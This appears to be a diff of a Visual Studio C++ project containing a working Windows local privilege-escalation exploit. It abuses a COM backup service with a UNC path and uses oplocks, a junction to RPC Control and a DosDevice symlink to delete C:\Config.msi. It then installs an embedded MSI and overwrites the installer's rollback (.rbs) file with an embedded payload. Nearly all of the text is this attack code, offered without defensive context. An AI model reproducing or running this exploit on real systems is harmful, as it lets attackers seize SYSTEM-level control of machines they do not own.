<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="def.h" />
|
||||
<ClInclude Include="FileOplock.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="FileOplock.cpp" />
|
||||
<ClCompile Include="main.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="resource.rc" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -0,0 +1,41 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="def.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="FileOplock.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="FileOplock.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="resource.rc">
|
||||
<Filter>Resource Files</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -0,0 +1,4 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
Binary file not shown.
|
@ -0,0 +1,142 @@
|
|||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <combaseapi.h>
|
||||
#include <stdio.h>
|
||||
#include <cstdint>
|
||||
#include <shlobj_core.h>
|
||||
#include <Msi.h>
|
||||
#include <Shlwapi.h>
|
||||
#include <PathCch.h>
|
||||
#include <AclAPI.h>
|
||||
#include "FileOplock.h"
|
||||
#include "resource.h"
|
||||
|
||||
#pragma warning(disable:4996)
|
||||
#pragma comment(lib,"Rpcrt4.lib")
|
||||
#pragma comment(lib, "Msi.lib")
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
#pragma comment(lib, "PathCch.lib")
|
||||
|
||||
struct __declspec(uuid("687E55CA-6621-4C41-B9F1-C0EDDC94BB05")) CLSID_SDC;
|
||||
|
||||
|
||||
class __declspec(uuid("a9f63151-4ccf-4c63-9b5a-3ba524a33886")) ISdScheduledBackup : public IUnknown {
|
||||
public:
|
||||
virtual HRESULT __stdcall Proc3();
|
||||
virtual HRESULT __stdcall Proc4(/* Stack Offset: 8 */ void* p0, /* Stack Offset: 16 */ GUID* p1);
|
||||
virtual HRESULT __stdcall Proc5(/* Stack Offset: 8 */ struct Struct_8* p0);
|
||||
virtual HRESULT __stdcall Proc6(/* Stack Offset: 8 */ struct Struct_9* p0);
|
||||
virtual HRESULT __stdcall Proc7(/* Stack Offset: 8 */ wchar_t* p0, /* Stack Offset: 16 */ struct Struct_10* p1);
|
||||
virtual HRESULT __stdcall Proc8(/* Stack Offset: 8 */ int64_t p0, /* Stack Offset: 16 */ GUID* p1);
|
||||
virtual HRESULT __stdcall Proc9(/* Stack Offset: 8 */ int64_t p0, /* Stack Offset: 16 */ GUID* p1);
|
||||
virtual HRESULT __stdcall Proc10(/* Stack Offset: 8 */ GUID* p0);
|
||||
virtual HRESULT __stdcall Proc11(/* Stack Offset: 8 */ wchar_t* p0, /* Stack Offset: 16 */ wchar_t* p1);
|
||||
virtual HRESULT __stdcall Proc12(/* Stack Offset: 8 */ wchar_t* p0, /* Stack Offset: 16 */ wchar_t* p1, /* Stack Offset: 24 */ wchar_t* p2, /* Stack Offset: 32 */ int64_t p3, /* Stack Offset: 40 */ struct Struct_10* p4, /* Stack Offset: 48 */ int64_t* p5);
|
||||
virtual HRESULT __stdcall Proc13(/* Stack Offset: 8 */ wchar_t** p0);
|
||||
};
|
||||
typedef struct Struct_10 {
|
||||
/* Offset: 0 */ wchar_t* Member0;
|
||||
/* Offset: 8 */ wchar_t* Member8;
|
||||
/* Offset: 16 */ wchar_t* Member10;
|
||||
/* Offset: 24 */ wchar_t* Member18;
|
||||
/* Offset: 32 */ wchar_t* Member20;
|
||||
/* Offset: 40 */ wchar_t* Member28;
|
||||
/* Offset: 48 */ wchar_t* Member30;
|
||||
/* Offset: 56 */ /* ENUM32 */ uint32_t Member38;
|
||||
/* Offset: 64 */ int64_t Member40;
|
||||
/* Offset: 72 */ int64_t Member48;
|
||||
/* Offset: 80 */ int64_t Member50;
|
||||
/* Offset: 84 */ int64_t Member54;
|
||||
/* Offset: 88 */ int64_t Member58;
|
||||
/* Offset: 92 */ int64_t Member5C;
|
||||
/* Offset: 96 */ int64_t Member60;
|
||||
/* Offset: 100 */ int64_t Member64;
|
||||
/* Offset: 104 */ int64_t Member68;
|
||||
/* Offset: 108 */ int64_t Member6C;
|
||||
/* Offset: 112 */ int64_t Member70;
|
||||
/* Offset: 116 */ int64_t Member74;
|
||||
/* Offset: 120 */ int64_t Member78;
|
||||
/* Offset: 124 */ int64_t Member7C;
|
||||
/* Offset: 128 */ int64_t Member80;
|
||||
/* Offset: 132 */ int64_t Member84;
|
||||
/* Offset: 136 */ int64_t Member88;
|
||||
}Struct_10, * PStruct_10;
|
||||
|
||||
|
||||
#define FULL_SHARING FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE
|
||||
|
||||
void load();
|
||||
BOOL CreateJunction(HANDLE dir, LPCWSTR target);
|
||||
BOOL DeleteJunction(HANDLE dir);
|
||||
BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target);
|
||||
BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target);
|
||||
void cb();
|
||||
void cb1();
|
||||
BOOL Trigger();
|
||||
VOID Fail();
|
||||
DWORD WINAPI install(void*);
|
||||
VOID GetTmpDir(LPWSTR dir);
|
||||
BOOL Move(HANDLE);
|
||||
VOID FindFile(HANDLE hDir);
|
||||
LPWSTR BuildPath(LPCWSTR path);
|
||||
HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion);
|
||||
HANDLE bt;
|
||||
HANDLE hFile,hDir,hMsiDir,hthread;
|
||||
HMODULE hm = GetModuleHandle(NULL);
|
||||
HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_RBS1), L"rbs");
|
||||
DWORD RbsSize = SizeofResource(hm, res);
|
||||
void* RbsBuff = LoadResource(hm, res);
|
||||
WCHAR unc[MAX_PATH * 2] = { 0x0 };
|
||||
LPWSTR dir;
|
||||
wchar_t target[] = L"C:\\Config.msi::$INDEX_ALLOCATION";
|
||||
wchar_t object[MAX_PATH] = { 0x0 };
|
||||
typedef struct _REPARSE_DATA_BUFFER {
|
||||
ULONG ReparseTag;
|
||||
USHORT ReparseDataLength;
|
||||
USHORT Reserved;
|
||||
union {
|
||||
struct {
|
||||
USHORT SubstituteNameOffset;
|
||||
USHORT SubstituteNameLength;
|
||||
USHORT PrintNameOffset;
|
||||
USHORT PrintNameLength;
|
||||
ULONG Flags;
|
||||
WCHAR PathBuffer[1];
|
||||
} SymbolicLinkReparseBuffer;
|
||||
struct {
|
||||
USHORT SubstituteNameOffset;
|
||||
USHORT SubstituteNameLength;
|
||||
USHORT PrintNameOffset;
|
||||
USHORT PrintNameLength;
|
||||
WCHAR PathBuffer[1];
|
||||
} MountPointReparseBuffer;
|
||||
struct {
|
||||
UCHAR DataBuffer[1];
|
||||
} GenericReparseBuffer;
|
||||
} DUMMYUNIONNAME;
|
||||
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
|
||||
typedef struct _OBJECT_DIRECTORY_INFORMATION {
|
||||
UNICODE_STRING Name;
|
||||
UNICODE_STRING TypeName;
|
||||
} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;
|
||||
#define STATUS_MORE_ENTRIES 0x00000105
|
||||
#define STATUS_NO_MORE_ENTRIES 0x8000001A
|
||||
#define IO_REPARSE_TAG_MOUNT_POINT (0xA0000003L)
|
||||
|
||||
typedef NTSYSAPI NTSTATUS(NTAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
|
||||
typedef NTSYSAPI VOID(NTAPI* _RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
|
||||
typedef NTSYSAPI NTSTATUS(NTAPI* _NtOpenDirectoryObject)(OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
|
||||
typedef NTSYSAPI NTSTATUS(NTAPI* _NtQueryDirectoryObject)(_In_ HANDLE DirectoryHandle, _Out_opt_ PVOID Buffer, _In_ ULONG Length, _In_ BOOLEAN ReturnSingleEntry, _In_ BOOLEAN RestartScan, _Inout_ PULONG Context, _Out_opt_ PULONG ReturnLength);
|
||||
typedef NTSYSCALLAPI NTSTATUS(NTAPI* _NtSetInformationFile)(
|
||||
HANDLE FileHandle,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PVOID FileInformation,
|
||||
ULONG Length,
|
||||
ULONG FileInformationClass
|
||||
);
|
||||
|
||||
_RtlInitUnicodeString pRtlInitUnicodeString;
|
||||
_NtCreateFile pNtCreateFile;
|
||||
_NtSetInformationFile pNtSetInformationFile;
|
||||
|
|
@ -0,0 +1,375 @@
|
|||
#include "def.h"
|
||||
|
||||
int wmain(int argc, wchar_t** argv)
|
||||
{
|
||||
|
||||
load();
|
||||
|
||||
hMsiDir = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
|
||||
if (hMsiDir == NULL)
|
||||
{
|
||||
printf("[!] Failed to create C:\\Config.msi directory. Trying to delete it.\n");
|
||||
install(NULL);
|
||||
hMsiDir = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
|
||||
if (hMsiDir != NULL)
|
||||
{
|
||||
printf("[+] Successfully removed and recreated C:\\Config.Msi.\n");
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("[!] Failed. Cannot remove c:\\Config.msi");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
if (!PathIsDirectoryEmpty(L"C:\\Config.Msi"))
|
||||
{
|
||||
printf("[!] Failed. C:\\Config.Msi already exists and is not empty.\n");
|
||||
return 1;
|
||||
}
|
||||
printf("[+] Config.msi directory created!\n");
|
||||
dir = (LPWSTR)malloc(MAX_PATH);
|
||||
ZeroMemory(dir, MAX_PATH);
|
||||
GetTmpDir(dir);
|
||||
printf("[*] Directory: %ls\n", dir);
|
||||
if (!CreateDirectory(dir, NULL)) {
|
||||
printf("[!] Cannot create %ls directory!\n", dir);
|
||||
return 1;
|
||||
}
|
||||
hDir = CreateFile(dir, GENERIC_WRITE | GENERIC_READ | DELETE, FULL_SHARING, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_DELETE_ON_CLOSE, NULL);
|
||||
|
||||
if (hDir == INVALID_HANDLE_VALUE) {
|
||||
return 1;
|
||||
|
||||
}
|
||||
|
||||
WCHAR path[MAX_PATH * 2] = { 0x0 };
|
||||
GetFinalPathNameByHandle(hDir, path, MAX_PATH * 2, VOLUME_NAME_NONE);
|
||||
swprintf(unc, L"\\\\127.0.0.1\\c$%ls", path);
|
||||
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FindFile, hDir, 0, NULL);
|
||||
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Fail, NULL, 0, NULL);
|
||||
SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
|
||||
SetThreadPriorityBoost(GetCurrentThread(), TRUE);
|
||||
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
|
||||
FileOpLock* oplock;
|
||||
oplock = FileOpLock::CreateLock(hMsiDir, cb1);
|
||||
if (oplock != nullptr) {
|
||||
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Trigger, NULL, 0, NULL);
|
||||
oplock->WaitForLock(INFINITE);
|
||||
delete oplock;
|
||||
}
|
||||
do {
|
||||
hMsiDir = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | WRITE_DAC | READ_CONTROL | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF);
|
||||
} while (hMsiDir == NULL);
|
||||
char buff[4096];
|
||||
DWORD retbt = 0;
|
||||
FILE_NOTIFY_INFORMATION* fn;
|
||||
WCHAR* extension;
|
||||
WCHAR* extension2;
|
||||
do {
|
||||
ReadDirectoryChangesW(hMsiDir, buff, sizeof(buff) - sizeof(WCHAR), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME,
|
||||
&retbt, NULL, NULL);
|
||||
fn = (FILE_NOTIFY_INFORMATION*)buff;
|
||||
size_t sz = fn->FileNameLength / sizeof(WCHAR);
|
||||
fn->FileName[sz] = '\0';
|
||||
extension = fn->FileName;
|
||||
PathCchFindExtension(extension, MAX_PATH, &extension2);
|
||||
} while (wcscmp(extension2, L".rbs") != 0);
|
||||
SetSecurityInfo(hMsiDir, SE_FILE_OBJECT, UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL, NULL, NULL, NULL);
|
||||
while (!Move(hMsiDir)) {
|
||||
|
||||
}
|
||||
|
||||
HANDLE cfg_h = myCreateDirectory(BuildPath(L"C:\\Config.msi"), FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE);
|
||||
WCHAR rbsfile[MAX_PATH];
|
||||
_swprintf(rbsfile, L"C:\\Config.msi\\%s", fn->FileName);
|
||||
HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) {
|
||||
printf("[+] Rollback file overwritten!\n");
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("[!] Failed to overwrite rbs file!\n");
|
||||
}
|
||||
CloseHandle(rbs);
|
||||
CloseHandle(cfg_h);
|
||||
DeleteJunction(hDir);
|
||||
DelDosDeviceSymLink(object, L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION");
|
||||
}
|
||||
BOOL Trigger() {
|
||||
HRESULT hr = CoInitialize(NULL);
|
||||
ISdScheduledBackup* sdc;
|
||||
|
||||
|
||||
PStruct_10 aaa = (PStruct_10)malloc(sizeof(Struct_10));
|
||||
hr = CoCreateInstance(__uuidof(CLSID_SDC), NULL, CLSCTX_LOCAL_SERVER, __uuidof(ISdScheduledBackup), (LPVOID*)&sdc);
|
||||
if (SUCCEEDED(hr)) {
|
||||
printf("[*] Path: %ls\n", unc);
|
||||
hr = sdc->Proc7(unc, aaa);
|
||||
if (SUCCEEDED(hr)) {
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%x\n", hr);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%x\n", hr);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
void load() {
|
||||
HMODULE ntdll = LoadLibraryW(L"ntdll.dll");
|
||||
if (ntdll != NULL) {
|
||||
pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");
|
||||
pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile");
|
||||
pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile");
|
||||
|
||||
}
|
||||
if (pRtlInitUnicodeString == NULL || pNtCreateFile == NULL) {
|
||||
printf("Cannot load api's %d\n", GetLastError());
|
||||
exit(0);
|
||||
}
|
||||
|
||||
}
|
||||
void cb() {
|
||||
printf("[+] Oplock!\n");
|
||||
while(!Move(hFile)){}
|
||||
|
||||
CreateJunction(hDir, L"\\RPC Control");
|
||||
DosDeviceSymLink(object, BuildPath(target));
|
||||
|
||||
}
|
||||
void cb1() {
|
||||
SetThreadPriority(GetCurrentThread(), REALTIME_PRIORITY_CLASS);
|
||||
Move(hMsiDir);
|
||||
hthread = CreateThread(NULL, NULL, install, NULL, NULL, NULL);
|
||||
|
||||
HANDLE hd;
|
||||
do {
|
||||
hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
|
||||
} while (!hd);
|
||||
do {
|
||||
CloseHandle(hd);
|
||||
hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
|
||||
} while (hd);
|
||||
CloseHandle(hd);
|
||||
do {
|
||||
hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
|
||||
|
||||
} while (GetLastError() != -1073741790);
|
||||
|
||||
}
|
||||
BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
|
||||
if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) {
|
||||
printf("[+] Symlink %ls -> %ls created!\n", object, target);
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("error :%d\n", GetLastError());
|
||||
return FALSE;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
|
||||
if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) {
|
||||
printf("[+] Symlink %ls -> %ls deleted!\n", object, target);
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("error :%d\n", GetLastError());
|
||||
return FALSE;
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
BOOL CreateJunction(HANDLE hDir, LPCWSTR target) {
|
||||
HANDLE hJunction;
|
||||
DWORD cb;
|
||||
wchar_t printname[] = L"";
|
||||
if (hDir == INVALID_HANDLE_VALUE) {
|
||||
printf("[!] HANDLE invalid!\n");
|
||||
return FALSE;
|
||||
}
|
||||
SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR);
|
||||
SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR);
|
||||
SIZE_T PathLen = TargetLen + PrintnameLen + 12;
|
||||
SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer));
|
||||
PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize);
|
||||
Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
|
||||
Data->ReparseDataLength = PathLen;
|
||||
Data->Reserved = 0;
|
||||
Data->MountPointReparseBuffer.SubstituteNameOffset = 0;
|
||||
Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen;
|
||||
memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2);
|
||||
Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2);
|
||||
Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen;
|
||||
memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2);
|
||||
WCHAR dir[MAX_PATH] = { 0x0 };
|
||||
if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0)
|
||||
{
|
||||
|
||||
GetFinalPathNameByHandle(hDir, dir, MAX_PATH, 0);
|
||||
printf("[+] Junction %ls -> %ls created!\n", dir, target);
|
||||
free(Data);
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
printf("[!] Error: %d. Exiting\n", GetLastError());
|
||||
free(Data);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
BOOL DeleteJunction(HANDLE handle) {
|
||||
REPARSE_GUID_DATA_BUFFER buffer = { 0 };
|
||||
BOOL ret;
|
||||
buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
|
||||
DWORD cb = 0;
|
||||
IO_STATUS_BLOCK io;
|
||||
if (handle == INVALID_HANDLE_VALUE) {
|
||||
printf("[!] HANDLE invalid!\n");
|
||||
return FALSE;
|
||||
}
|
||||
WCHAR dir[MAX_PATH] = { 0x0 };
|
||||
if (DeviceIoControl(handle, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL)) {
|
||||
GetFinalPathNameByHandle(handle, dir, MAX_PATH, 0);
|
||||
printf("[+] Junction %ls deleted!\n", dir);
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("[!] Error: %d.\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
BOOL Move(HANDLE hFile) {
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
printf("[!] Invalid handle!\n");
|
||||
return FALSE;
|
||||
}
|
||||
wchar_t tmpfile[MAX_PATH] = { 0x0 };
|
||||
RPC_WSTR str_uuid;
|
||||
UUID uuid = { 0 };
|
||||
UuidCreate(&uuid);
|
||||
UuidToString(&uuid, &str_uuid);
|
||||
_swprintf(tmpfile, L"\\??\\C:\\windows\\temp\\%s", str_uuid);
|
||||
size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t));
|
||||
FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz);
|
||||
IO_STATUS_BLOCK io = { 0 };
|
||||
rename_info->ReplaceIfExists = TRUE;
|
||||
rename_info->RootDirectory = NULL;
|
||||
rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040;
|
||||
rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t);
|
||||
memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t));
|
||||
NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65);
|
||||
if (status != 0) {
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
LPWSTR BuildPath(LPCWSTR path) {
|
||||
wchar_t ntpath[MAX_PATH];
|
||||
swprintf(ntpath, L"\\??\\%s", path);
|
||||
return ntpath;
|
||||
}
|
||||
VOID FindFile(HANDLE hDidr) {
|
||||
PFILE_NOTIFY_INFORMATION fi = NULL;
|
||||
WCHAR file[MAX_PATH] = { 0x0 };
|
||||
FileOpLock* oplock;
|
||||
WCHAR* final_path = (WCHAR*)malloc(MAX_PATH);
|
||||
HANDLE hDir = CreateFile(dir, GENERIC_WRITE | GENERIC_READ, FULL_SHARING, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT, NULL);
|
||||
BOOL stop = FALSE;
|
||||
do {
|
||||
|
||||
wchar_t buff[4096] = { 0 };
|
||||
DWORD ret = 0;
|
||||
ReadDirectoryChangesW(hDir, buff, 4096, FALSE, FILE_NOTIFY_CHANGE_FILE_NAME, &ret, NULL, NULL);
|
||||
|
||||
fi = (PFILE_NOTIFY_INFORMATION)buff;
|
||||
if (fi->Action == FILE_ACTION_ADDED) {
|
||||
stop = TRUE;
|
||||
}
|
||||
} while (stop == FALSE);
|
||||
_swprintf(file, L"%s\\%s",dir, fi->FileName);
|
||||
_swprintf(object, L"Global\\GLOBALROOT\\RPC Control\\%s", fi->FileName);
|
||||
do {
|
||||
hFile = CreateFile(file, GENERIC_READ | DELETE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
|
||||
} while (hFile == INVALID_HANDLE_VALUE);
|
||||
|
||||
oplock = FileOpLock::CreateLock(hFile, cb);
|
||||
if (oplock != nullptr) {
|
||||
oplock->WaitForLock(INFINITE);
|
||||
delete oplock;
|
||||
}
|
||||
}
|
||||
VOID GetTmpDir(LPWSTR dir) {
|
||||
LPWSTR username;
|
||||
DWORD szUsername = 0;
|
||||
WCHAR path[MAX_PATH] = { 0x0 };
|
||||
RPC_WSTR str_uuid;
|
||||
UUID uuid = { 0x0 };
|
||||
|
||||
UuidCreate(&uuid);
|
||||
UuidToString(&uuid, &str_uuid);
|
||||
GetUserName(NULL, &szUsername);
|
||||
username = (LPWSTR)malloc(szUsername);
|
||||
GetUserName(username, &szUsername);
|
||||
swprintf(path, L"C:\\users\\%s\\appdata\\local\\temp\\%s", username, str_uuid);
|
||||
StrCatW(dir, path);
|
||||
}
|
||||
HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion) {
|
||||
UNICODE_STRING ufile;
|
||||
HANDLE hDir;
|
||||
pRtlInitUnicodeString(&ufile, file);
|
||||
OBJECT_ATTRIBUTES oa = { 0 };
|
||||
IO_STATUS_BLOCK io = { 0 };
|
||||
NTSTATUS retcode;
|
||||
InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||
|
||||
retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL, FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
|
||||
|
||||
if (!NT_SUCCESS(retcode)) {
|
||||
SetLastError(retcode);
|
||||
return NULL;
|
||||
}
|
||||
return hDir;
|
||||
}
|
||||
DWORD WINAPI install(void*) {
|
||||
|
||||
HMODULE hm = GetModuleHandle(NULL);
|
||||
HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI1), L"msi");
|
||||
wchar_t msipackage[MAX_PATH] = { 0x0 };
|
||||
GetTempFileName(L"C:\\windows\\temp\\", L"MSI", 0, msipackage);
|
||||
printf("[*] MSI file: %ls\n", msipackage);
|
||||
DWORD MsiSize = SizeofResource(hm, res);
|
||||
void* MsiBuff = LoadResource(hm, res);
|
||||
HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE | WRITE_DAC, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL);
|
||||
CloseHandle(pkg);
|
||||
MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL);
|
||||
MsiInstallProduct(msipackage, L"ACTION=INSTALL");
|
||||
MsiInstallProduct(msipackage, L"REMOVE=ALL");
|
||||
DeleteFile(msipackage);
|
||||
return 0;
|
||||
}
|
||||
VOID Fail() {
|
||||
Sleep(5000);
|
||||
printf("[!] Race condtion failed!\n");
|
||||
